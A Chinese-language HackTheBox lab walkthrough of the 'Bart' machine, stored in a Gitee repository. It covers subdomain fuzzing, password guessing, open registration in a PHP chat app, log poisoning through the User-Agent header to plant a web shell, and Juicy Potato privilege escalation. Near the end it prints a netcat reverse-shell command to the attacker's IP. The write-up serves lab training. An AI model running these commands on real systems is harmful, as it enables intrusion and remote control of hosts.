1 Star 1 Fork 2

wuerror / hackthebox_oscp

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
bart.md 5.49 KB
一键复制 编辑 原始数据 按行查看 历史
wuerror 提交于 2022-06-20 20:56 . bart 完成

信息收集

端口扫描

nmap -p- -v --min-rate 10000 10.10.10.81

发现只开了一个80端口

子域名

访问提示似乎有防火墙策略限制,并给出了一个域名forum.bart.htb。配进host即可成功访问。 因此怀疑还有别的子域名,尝试爆破

wfuzz -c -u "http://forum.bart.htb/" -H "Host:FUZZ.bart.htb" -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt --hl 0

bart1 新增一个monitor.bart.htb

forum.bart.htb

web指纹:wordpress 4.8.2,IIS10.0 windows server。 但实际访问感觉是个纯静态站点,只搜集到几个用户名可能有用 Samantha Brown CEO@BART Daniel Simmons Head of Sales Robert Hilton Head of IT Jane Doe Developer@FluffyUnicorns 并生成一份字典

cewl -e -a --with-numbers http://forum.bart.htb/ > bart.txt

==查看网页源码发现注释里还有一个隐藏起来的员工信息== Harvey Potter Developer@BART potter@bart.htb bart2

monitor.bart.htb

一个登录页面 web指纹:php server monitor v3.2.1 php7.1.7 忘记密码页面可以用来探测用户名是否存在:Daniel,harvey bart3

暴力破解

抓包发现有csrf token automating-burpsuite-1-capturing-csrf-token-via-macro 但是爆破还是没成,还得研究一下。 不太想写脚本,因为burpsuite的这个高级用法应该用处还挺广的。

手动尝试名字potter作密码,登录成功。发现新的子域名internal-01.bart.htb bart4

internal-01.bart.htb

又是一个登录页

dirsearch -u http://internal-01.bart.htb/ -e *
dirsearch -u http://internal-01.bart.htb/simple_chat/ -e *

对根目录以及登录页所在目录进行爆破, 发现根目录下存在/log/log.txt /simple_chat/register.php -> register_form.php

css发现作者信息

除此之外啥也没有,登录爆破与sql注入都不行。阅读网页源码发现引用的css文件里含有作者信息 bart5 google搜索“Copyright (c) 2013 Manolis Agkopian”排第一位的就是个GitHub仓php-ajax-simple-chat应该就是它了。 下载下来先用昆仑镜扫了一下,没有很浅显的rce。继续手动看账号相关的,因为上面扫到了register.php和register_form.php所以先跟一下.大致的注册逻辑如下:

register.php中通过post传参uname和passwd进errors变量,末尾跳转register_form

$errors = array();

//check if username is provided
if (!isset($_POST['uname']) || empty($_POST['uname'])) {

    $errors['uname'] = 'The Username is required';
} else {
    //validate username
    if (($uname = validate_username($_POST['uname'])) === false) {
        $errors['uname'] = 'The Username is invalid';
    }
}

//check if password is provided
if (!isset($_POST['passwd']) || empty($_POST['passwd'])) {
    $errors['passwd'] = 'The Password is required';
} else {
    //validate password
    if (($passwd = validate_password($_POST['passwd'])) === false) {
        $errors['passwd'] = 'The Password must be at least 8 characters';
    }
}
........
//末尾
header('Location: register_form.php');

register_form.php先判断session是否有reg_errors,不然就传递errors变量给markup_func.php的do_html_register_form函数完成注册

$errors = array();
if (isset($_SESSION['reg_errors']) && !empty($_SESSION['reg_errors'])) {
    $errors = $_SESSION['reg_errors'];
    unset($_SESSION['reg_errors']);
}
.........
.........
<?php do_html_register_form($errors);?>

任意用户注册

通过hackbar发送注册请求 bart6 成功登录 bart7 f12查看源码发现一个函数 bart8

看描述是存日志的,访问一下看看(构造了一个任意文件读的payload) bart 本以为可以直接写shell了,但是构造写入失败了 bart10 几经尝试,最终注意到这个log.txt就是我之前扫出来的/log/log.txt !!!我按照实例,正常访问时,log.txt中就会多一条记录,记录我的用户名和user-agent。

日志注入

会不会这个filename是写入的文件名,但是内容不是从filename中构造,而是来自于user-agent头呢? bart11 蚁剑成功连接/log/1.php bart12

juicy potato提权

查看当前权限 C:\temp> whoami /priv PRIVILEGES INFORMATION

Privilege Name Description State
======================= ========================================= ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled

发现有SeImpersonatePrivilege权限,尝试烂土豆提权 上传nc,juicy-potato.exe,提权脚本

c:\temp\nc.exe -e c:\Windows\System32\cmd.exe 10.10.14.12 4444 bart13 但是使用默认的clsid失败了

.\jp.exe -t t -p c:\windows\system32\cmd.exe -l 2234 -a "/c c:\temp\re.bat"

执行systeminfo,发现本机为win10 pro,所以去查clsidclsid列表 多次尝试,成功得到shell。 ps.图里可以看出来有的clsid显示成功了,但是实际上没有得到shell bart14

马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/wuerror/hackthebox_oscp.git
git@gitee.com:wuerror/hackthebox_oscp.git
wuerror
hackthebox_oscp
hackthebox_oscp
master

搜索帮助